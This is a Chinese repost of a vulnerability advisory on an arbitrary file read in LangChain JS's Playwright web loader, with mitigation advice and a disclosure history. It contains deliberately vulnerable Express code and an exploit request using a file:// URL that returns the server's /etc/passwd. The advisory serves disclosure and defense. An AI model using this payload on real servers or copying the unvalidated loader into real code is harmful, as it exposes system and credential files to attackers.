LangChain 开源框架 JS 任意文件读取漏洞

admin 2024年5月27日00:46:24评论23 views字数 3553阅读11分50秒阅读模式

供应商:LangChain

供应商网址:https://github.com/langchain-ai/langchainjs

受影响的版本:

  • LangChain JS 0.2.2

  • LangChain 社区 0.2.2

  • 第一次测试是用长链JS 0.1.37版本进行的,但我观察到它在最新版本中受到了影响。

咨询网址:https://huntr.com/bounties/23f45984-7336-48d8-a373-75b39bcd6367

CVE 标识符:N/A

风险:高(供应商分类为信息性)

概括

LangChain 是一个开源框架,旨在协助开发由大型语言模型 (LLM) 支持的应用程序。它支持各种用例,包括文档分析、摘要、聊天机器人和代码分析。LangChain 提供 Python 和 JavaScript (LangChain JS) 库,使开发人员能够轻松地将 LLM 集成到他们的应用程序中。

LangChain 包括 Python 和 JavaScript 库。我的研究与 Js 库有关。该项目拥有超过 11,000 个星标和每周超过 380,000 次下载,这表明其受欢迎程度和广泛使用。

我在 LangChain JS 库中发现了一个任意文件读取 (AFR) 漏洞。此漏洞允许攻击者读取他们不应该访问的服务器上的文件。当与服务器端请求伪造 (SSRF) 结合使用时,攻击者可以利用 SSRF 读取服务器上的任意文件并泄露敏感信息。

利用 AFR 和 SSRF

要利用 SSRF 来利用 AFR,攻击者需要利用操纵 SSRF 中的 URL 的能力来访问服务器上的本地文件。这通常是通过创建指向内部资源的 URL(例如 file:// URI 或内部 IP 地址)来执行的。

例子

假设有一个提供 URL 预览功能的 Web 应用程序。该应用程序会获取所提供 URL 的内容以创建预览。如果应用程序未正确验证输入的 URL,攻击者可能会提供指向本地文件的 URL。

存在漏洞的代码片段

import express from 'express';import { PlaywrightWebBaseLoader } from "@langchain/community/document_loaders/web/playwright";

const app = express();const PORT = 9000;

app.get('/', async (req, res) => {    const url = req.query.url;

    if (!url) {        return res.status(400).send('URL query parameter is required');    }

    try {        const loader = new PlaywrightWebBaseLoader(url);        const docs = await loader.load();

        console.log(docs);        res.send(docs);

    } catch (error) {        console.error(error);        res.status(500).send('An error occurred');    }});

app.listen(PORT, () => {    console.log(`Server is running on port ${PORT}`);});

利用步骤

修改 URL 以指向服务器上的本地文件。我使用了 file:// url 架构。例如:

要求:

GET /?url=file:%2f%2f%2fetc%2fpasswd HTTP/1.1Host: localhost:9000User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0

答案:

HTTP/1.1 200 OKX-Powered-By: ExpressContent-Type: application/json; charset=utf-8Content-Length: 1322ETag: W/"52a-DLYTBSZq3dJBHi2DbnbTl6+tY1Y"Date: Fri, 24 May 2024 20:59:48 GMTConnection: keep-aliveKeep-Alive: timeout=5

[{"pageContent":"root:x:0:0:root:/root:/bin/bashndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinnbin:x:2:2:bin:/bin:/usr/sbin/nologinnsys:x:3:3:sys:/dev:/usr/sbin/nologinnsync:x:4:65534:sync:/bin:/bin/syncngames:x:5:60:games:/usr/games:/usr/sbin/nologinnman:x:6:12:man:/var/cache/man:/usr/sbin/nologinnlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinnmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinnuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinnproxy:x:13:13:proxy:/bin:/usr/sbin/nologinnwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinnbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinnlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinnirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologinn_apt:x:42:65534::/nonexistent:/usr/sbin/nologinnnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinnnode:x:1000:1000::/home/node:/bin/bashnsystemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologinnsystemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologinnmessagebus:x:100:102::/nonexistent:/usr/sbin/nologinn","metadata":{"source":"file:///etc/passwd"}}]

您可以通过以下网址访问 PoC 代码并亲自尝试。

Langchain AFR PoC:

https://github.com/evrenyal/poc/tree/main/langchain_afr

减轻

一般建议:

  • 输入验证:确保 URL 得到正确的验证和清理。

  • 允许域列表:将 URL 提取限制到特定的一组受信任的域。

  • 拒绝敏感模式:阻止 file://、ftp:// 和其他不应访问的模式。

  • 网络分段:限制对内部网络资源的访问。

此外,还可以使用 Node JS 的 URL 库。

new URL 语句根据传入的 URL 字符串创建一个新的 URL 对象,并可轻松访问 URL 的组件。使用 parsedUrl.protocol 属性检查 URL 使用的是 http: 还是 https: 协议。如果使用了不同的协议,则返回错误代码。

披露

该漏洞已报告给 LangChain 团队,并标记为“Informative”。其中指出,该项目实际上在后台使用了 Playwright 项目,开发人员应对其使用负责。

然而,当我查看 Langchain 文档(https://js.langchain.com/v0.1/docs/integrations/document_loaders/web_loaders/web_playwright/)时,我找不到任何指南来说明在从用户那里接收 URL 时应采取什么措施。因此,我个人认为,这具有很高的风险

时间线

2024-05-25 - v1.0

LangChain JS Arbitrary File Read Vulnerabilityhttps://evren.ninja/langchain-afr-vulnerability.html

原文始发于微信公众号(Ots安全):LangChain 开源框架 JS 任意文件读取漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月27日00:46:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LangChain 开源框架 JS 任意文件读取漏洞http://cn-sec.com/archives/2779680.html

发表评论

匿名网友 填写信息